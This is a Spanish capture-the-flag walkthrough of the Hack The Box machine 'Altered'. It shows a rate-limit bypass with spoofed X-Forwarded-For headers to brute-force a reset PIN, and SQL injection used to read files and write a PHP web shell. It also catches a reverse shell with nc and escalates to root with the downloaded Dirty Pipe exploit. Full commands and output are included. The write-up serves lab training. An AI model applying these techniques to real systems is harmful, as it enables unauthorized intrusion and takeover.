• Further enchance your skills by exploring related academy modules.

PortScan

sudo nmap -sCV -p22,80 10.10.11.159 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-13 16:48 CST
Nmap scan report for 10.10.11.159
Host is up (0.18s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
|   256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_  256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-title: UHC March Finals
|_Requested resource was http://10.10.11.159/login
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración

  • Tenemos 2 puertos abiertos el puerto 22 que corresponde al servicio ssh y el puerto 80 que corresponde a un servicio http el cual esta corriendo una pagina web.
 whatweb http://10.10.11.159
http://10.10.11.159 [302 Found] Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.159], Laravel, Meta-Refresh-Redirect[http://10.10.11.159/login], RedirectLocation[http://10.10.11.159/login], Title[Redirecting to http://10.10.11.159/login], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], nginx[1.18.0]
http://10.10.11.159/login [200 OK] Bootstrap, Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.159], JQuery[1.9.1], Laravel, PasswordField[password], Script[text/javascript], Title[UHC March Finals], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-UA-Compatible[IE=edge], nginx[1.18.0]
  • La pagina web nos redirige a un panel de login.

  • Si probamos con admin:admin no funciona pero si le damos en recuperar contraseña vemos que nos dicen que introduzcamos un PIN que nos envían al parecer por correo pero no tenemos acceso al correo.

  • Si ponemos PINs incorrectos nos da este error.

  • Tenemos 2 cookies.

Rate-Limit Bypass

  • Lo que podemos hacer es Fuerza bruta al PIN con wfuzz pero primero tenemos que capturar la petición a la hora de mandar el PIN para saber como esta viajando la data.

  • Después de un cierto momento al parecer nos bloquean.
❯ wfuzz -c -t 200 -z range,0000-9999 -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken

  • Existen formas de hacer Bypass https://book.hacktricks.xyz/pentesting-web/rate-limit-bypass ya que al parecer si ve que estamos tramitando muchas peticiones desde una misma IP nos bloquea, vamos abusar de las cabeceras.

  • El problema de enviar esta petición es que se va a dar cuenta de que no es dinamico.

❯ wfuzz -c -t 200 -z range,0000-9999 -H "X-Originating-IP: 127.0.0.1" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
  • Tendremos que crear un diccionario con diferentes IPs.

  • Mediante 2 bucles aninados vamos a crear el diccionario con las IPs.

for i in {0..40}; do for j in {0..253}; do echo "10.10.$i.$j"; done; done > IPs
❯ wc -l IPs
10414 IPs
  • Si lo ejecutamos vemos que no esta iterando.
❯ wfuzz -c -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Originating-IP: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.159/api/resettoken
Total requests: 104140000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                        
=====================================================================

000000001:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.0"                             
000000003:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.2"                             
000000016:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.15"                            
000000019:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.18"                            
000000007:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.6"                             
000000020:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.19"                            
000000018:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.17"                            
000000015:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.14"                            
000000014:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.13"                            
000000009:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.8"                             
000000011:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.10"                            
000000017:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.16"                            
000000013:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.12"                            
000000064:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.63"                            
000000061:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.60"                            
000000059:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.58"                            
000000063:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.62"                            
000000062:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.61"                            
000000060:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.59"                            
000000057:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.56"                            
000000056:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.55"                            
000000054:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.53"                            
000000053:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.52"                            
000000050:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.49"                            
000000071:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.70"                            
000000069:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.68"                            
000000073:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.72"                            
000000058:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.57"                            
000000075:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.74"                            
000000070:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.69"                            
000000049:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.48"                            
000000052:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.51"                            
000000072:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.71"                            
000000048:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.47"                            
000000068:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.67"                            
000000051:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.50"                            
000000067:   200        140 L    324 W      5644 Ch     "0000 - 10.10.0.66"                            
000000082:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.81"                            
000000078:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.77"                            
000000076:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.75"                            
000000047:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.46"                            
000000045:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.44"                            
000000055:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.54"                            
000000090:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.89"                            
000000087:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.86"                            
000000086:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.85"                            
000000081:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.80"                            
000000077:   429        36 L     125 W      6625 Ch     "0000 - 10.10.0.76"  
  • Para que itere tenemos que usar el parámetro -m en wfuzz para que itere.
❯ wfuzz -c -m zip -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Originating-IP: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
  • Bueno si lo ejecutamos nos sigue bloqueando.

  • Vamos a cambiar las cabecera a esta.

❯ wfuzz -c -m zip -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Forwarded-For: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InhFWnVudXJLVmhGM1IyWVFJbER0YkE9PSIsInZhbHVlIjoiWjIreGdWZGVoZDJtWmRiY0NGaEhraldmZE5KYVhuYzFIaWorWjQ4RXhUWitITTdnYk5HQW9uR0VTdjJVYVBjWEdLTXA3R3JzQjJIcVBCNzc5WmdoWFdDRVJXWEFHU1JzWTU0OHNlTXBIOVRJcVVuN0Q4eHRMUTRhSnB2eGQxdzkiLCJtYWMiOiIyZDQ2ZDhjZWQ0NTliY2M3NjQwNzE2ZjY5MDkxZGZkYjlkMTNkOTRkOTU1ODYwN2ZkZjZlMDljYTk5ZTE4N2U2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
  • No nos bloquea pero obtenemos respuestas iguales.
000001471:   200        140 L    324 W      5644 Ch     "1470 - 10.10.5.200"                           
000001474:   200        140 L    324 W      5644 Ch     "1473 - 10.10.5.203"                           
000001490:   200        140 L    324 W      5644 Ch     "1489 - 10.10.5.219"                           
000001478:   200        140 L    324 W      5644 Ch     "1477 - 10.10.5.207"                           
000001502:   200        140 L    324 W      5644 Ch     "1501 - 10.10.5.231"                           
000001501:   200        140 L    324 W      5644 Ch     "1500 - 10.10.5.230"                           
000001477:   200        140 L    324 W      5644 Ch     "1476 - 10.10.5.206"                           
000001500:   200        140 L    324 W      5644 Ch     "1499 - 10.10.5.229"                           
000001496:   200        140 L    324 W      5644 Ch     "1495 - 10.10.5.225"                           
000001504:   200        140 L    324 W      5644 Ch     "1503 - 10.10.5.233"                           
000001497:   200        140 L    324 W      5644 Ch     "1496 - 10.10.5.226"                           
000001503:   200        140 L    324 W      5644 Ch     "1502 - 10.10.5.232"                           
000001499:   200        140 L    324 W      5644 Ch     "1498 - 10.10.5.228"                           
000001495:   200        140 L    324 W      5644 Ch     "1494 - 10.10.5.224"                           
000001498:   200        140 L    324 W      5644 Ch     "1497 - 10.10.5.227"                           
000001492:   200        140 L    324 W      5644 Ch     "1491 - 10.10.5.221"                           
000001507:   200        140 L    324 W      5644 Ch     "1506 - 10.10.5.236"                           
000001511:   200        140 L    324 W      5644 Ch     "1510 - 10.10.5.240"                           
000001493:   200        140 L    324 W      5644 Ch     "1492 - 10.10.5.222"                           
000001505:   200        140 L    324 W      5644 Ch     "1504 - 10.10.5.234"                           
000001520:   200        140 L    324 W      5644 Ch     "1519 - 10.10.5.249"                           
000001489:   200        140 L    324 W      5644 Ch     "1488 - 10.10.5.218"                           
000001491:   200        140 L    324 W      5644 Ch     "1490 - 10.10.5.220"                           
000001506:   200        140 L    324 W      5644 Ch     "1505 - 10.10.5.235"                           
000001517:   200        140 L    324 W      5644 Ch     "1516 - 10.10.5.246"                           
000001514:   200        140 L    324 W      5644 Ch     "1513 - 10.10.5.243"                           
000001516:   200        140 L    324 W      5644 Ch     "1515 - 10.10.5.245"                           
000001534:   200        140 L    324 W      5644 Ch     "1533 - 10.10.6.9"                             
000001530:   200        140 L    324 W      5644 Ch     "1529 - 10.10.6.5"                             
000001513:   200        140 L    324 W      5644 Ch     "1512 - 10.10.5.242"                           
000001525:   200        140 L    324 W      5644 Ch     "1524 - 10.10.6.0"                             
000001542:   200        140 L    324 W      5644 Ch     "1541 - 10.10.6.17"                            
000001527:   200        140 L    324 W      5644 Ch     "1526 - 10.10.6.2"                             
000001538:   200        140 L    324 W      5644 Ch     "1537 - 10.10.6.13"                            
000001541:   200        140 L    324 W      5644 Ch     "1540 - 10.10.6.16"                            
000001540:   200        140 L    324 W      5644 Ch     "1539 - 10.10.6.15"  
  • Bueno ahora es mas fácil solo ocultamos respuestas con esos caracteres y listo pero antes capturaremos otra vez la petición para cambiar la cookie y sea valida para la petición que estamos haciendo desde la web.
❯ wfuzz -c --hh=5644 -m zip -t 200 -z range,0000-9999 -w /home/miguelrega7/Hackthebox/altered/content/IPs -H "X-Forwarded-For: FUZ2Z" -d 'name=admin&pin=FUZZ' -H "Cookie: XSRF-TOKEN=eyJpdiI6ImpCWXVEcURCbGRBMUxCZ3d2SjZrSlE9PSIsInZhbHVlIjoiY09uZG1JUGhpMnZtZFlwRDMzQzd2R2hoenFlZ0JwMzJhb3VsTzR0NmRPUk8vdm5DRkszMENJMHdSUHdhRUtEU0l3Y1JJbmMzY3FyRGtHQ0pUb2FiRXU4Q0ZpdWNueEhvemgwSkE3VTNDZTBKYVhFUDNQNU9MaXV1emJlS0FBekoiLCJtYWMiOiJjY2NkM2ZlNWEzNzU3MGEyNjZkNDNlY2RmYmE2MGEyMDFjZDU4MjlmNTRhYWQ0YTU0ZDRkYzc3Mjk1MDIwYTBmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZkcFJRb0VjN3NnM0czZ3hXN2t2c3c9PSIsInZhbHVlIjoiVC93OVZvNlBGZXlYTWFJaEwrMmNRalY3cExsYUNBNnBOU01vU0dDankwR1JvVHExdk0xWERmUDVMZ1QvNWxYZVFmbVBEaTJNekVKTDdNUExIcFBuenNHSUkyT1B1b3YvTUxScldNbUM5VzNaWThWWC9oWXZPUzNFZmJyYTdzZU8iLCJtYWMiOiJhODViMmZmYTFkZGRkMGFkZTE4ZDFhNWE2NWY5ZTgwOWE0ZTBlMjhiNjAxZDQyOTFhOTE1ODk5NTYxMWY2Nzc2IiwidGFnIjoiIn0%3D" http://10.10.11.159/api/resettoken
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.159/api/resettoken
Total requests: 10000

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                        
=====================================================================

000001052:   200        138 L    303 W      5366 Ch     "1051 - 10.10.4.35" 
  • Tenemos un PIN code vamos a probarlo.

  • Y bueno funciona.

  • Funciona.

  • Y bueno estamos dentro.

Shell as www-data && Type Juggling

  • Vamos a capturar con Burpsuite muchas peticiones a la hora de dar click en view en cada profile ya que no vemos nada interesante.

  • Vemos que son estáticas no cambian el secret.

  • Si cambiamos el secret añadiendo otro carácter nos detecta.

  • Si cambiamos el request method obtenemos la siguiente respuesta.

  • Si lo ponemos en GET manualmente obtenemos una data diferente por que si lo acepta.

  • Vamos a cambiar la petición a un JSON.

  • Si alteramos la data cambiando un valor o agregando otro nos da este error.

SQL Injection

  • Si añadimos una comilla en el campo id obtenemos un error.

  • Si probamos haciendo un ordenamiento para ver si es vulnerable a SQLI obtenemos lo mismo con o sin comilla.

  • Sin embargo al llegar a 3 no obtenemos un error.

  • Si enviamos la petición no vemos los números para poder cambiar la query.

  • Si cambiamos el numero del id vemos que el campo que podemos escribir es en el 3.

  • Sabemos el nombre de la base de datos.

  • Estas son todas las bases de datos.

  • Vamos a ver las tablas de la base de datos uhc.

  • Ahora las columnas.

  • Vemos los usuarios y sus hashes.

  • Ninguna de las credenciales que obtendremos después de crackear los hashes nos funcionan para conectarnos por ssh.

  • Pero podemos leer archivos.

User flag

  • Podemos ver la flag.

  • Algo que podemos hacer es ver si tenemos capacidad de escritura sabemos que la web corre Nginx y PHP pero necesitamos saber la ruta donde guardaría algún archivo que escribamos.

  • Encontramos donde esta montada la web.

  • Si comprobamos vemos que es correcto.

  • Podemos probar escribiendo test en un archivo.txt en la ruta que sabemos que existe.

  • Pero si vamos a la web lo vemos.

  • Como interpreta PHP vamos a inyectar código PHP.

  • Funciona.

  • Podemos ejecutar comandos.

  • Vamos a ponernos en escucha.
❯ nc -nlvp 443
listening on [any] 443 ...

  • Recibimos la shell.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.13] from (UNKNOWN) [10.10.11.159] 55000
bash: cannot set terminal process group (931): Inappropriate ioctl for device
bash: no job control in this shell
www-data@altered:/srv/altered/public$ whoami
whoami
www-data
www-data@altered:/srv/altered/public$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@altered:/srv/altered/public$ ^Z
zsh: suspended  nc -nlvp 443
                                                                                                                
❯ stty raw -echo;fg
[1]  + continued  nc -nlvp 443
                              reset xterm
ENTER
www-data@altered:/srv/altered/public$ export TERM=xterm

Escalada de Privilegios

www-data@altered:/$ uname -a
Linux altered 5.16.0-051600-generic #202201092355 SMP PREEMPT Mon Jan 10 00:21:11 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
www-data@altered:/$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 20.04.4 LTS
Release:	20.04
Codename:	focal
www-data@altered:/$ 
  • Nos descargamos el exploit.
❯ wget https://raw.githubusercontent.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits/refs/heads/main/exploit-1.c
  • Ahora compilamos.
❯ gcc exploit-1.c -o exploit2 -static
  • Lo pasamos a la maquina.
www-data@altered:/dev/shm$ wget http://10.10.14.24/exploit2
  • Lo ejecutamos.
www-data@altered:/dev/shm$ ./exploit2 
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
system() function call seems to have failed :(
www-data@altered:/dev/shm$ ./exploit2 
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
system() function call seems to have failed :(
  • Ahora tenemos la contraseña.
www-data@altered:/dev/shm$ su -
--- Welcome to PAM-Wordle! ---

A five character [a-z] word has been selected.
You have 6 attempts to guess the word.

After each guess you will recieve a hint which indicates:
? - what letters are wrong.
* - what letters are in the wrong spot.
[a-z] - what letters are correct.

--- Attempt 1 of 6 ---
Word: chmod
Hint->??*??
--- Attempt 2 of 6 ---
Word: mkdir
Hint->*??*?
--- Attempt 3 of 6 ---
Word: shell
Hint->??*??
--- Attempt 4 of 6 ---
Word: email
Invalid guess: unknown word.
Word: cmake
Hint->?*??e
--- Attempt 5 of 6 ---
Word: uname
Hint->u??me
--- Attempt 6 of 6 ---
Word: utime
Correct!
Password:
# whoami
root
# cat /root/root.txt
507f83d162ba9b570e5397694741787d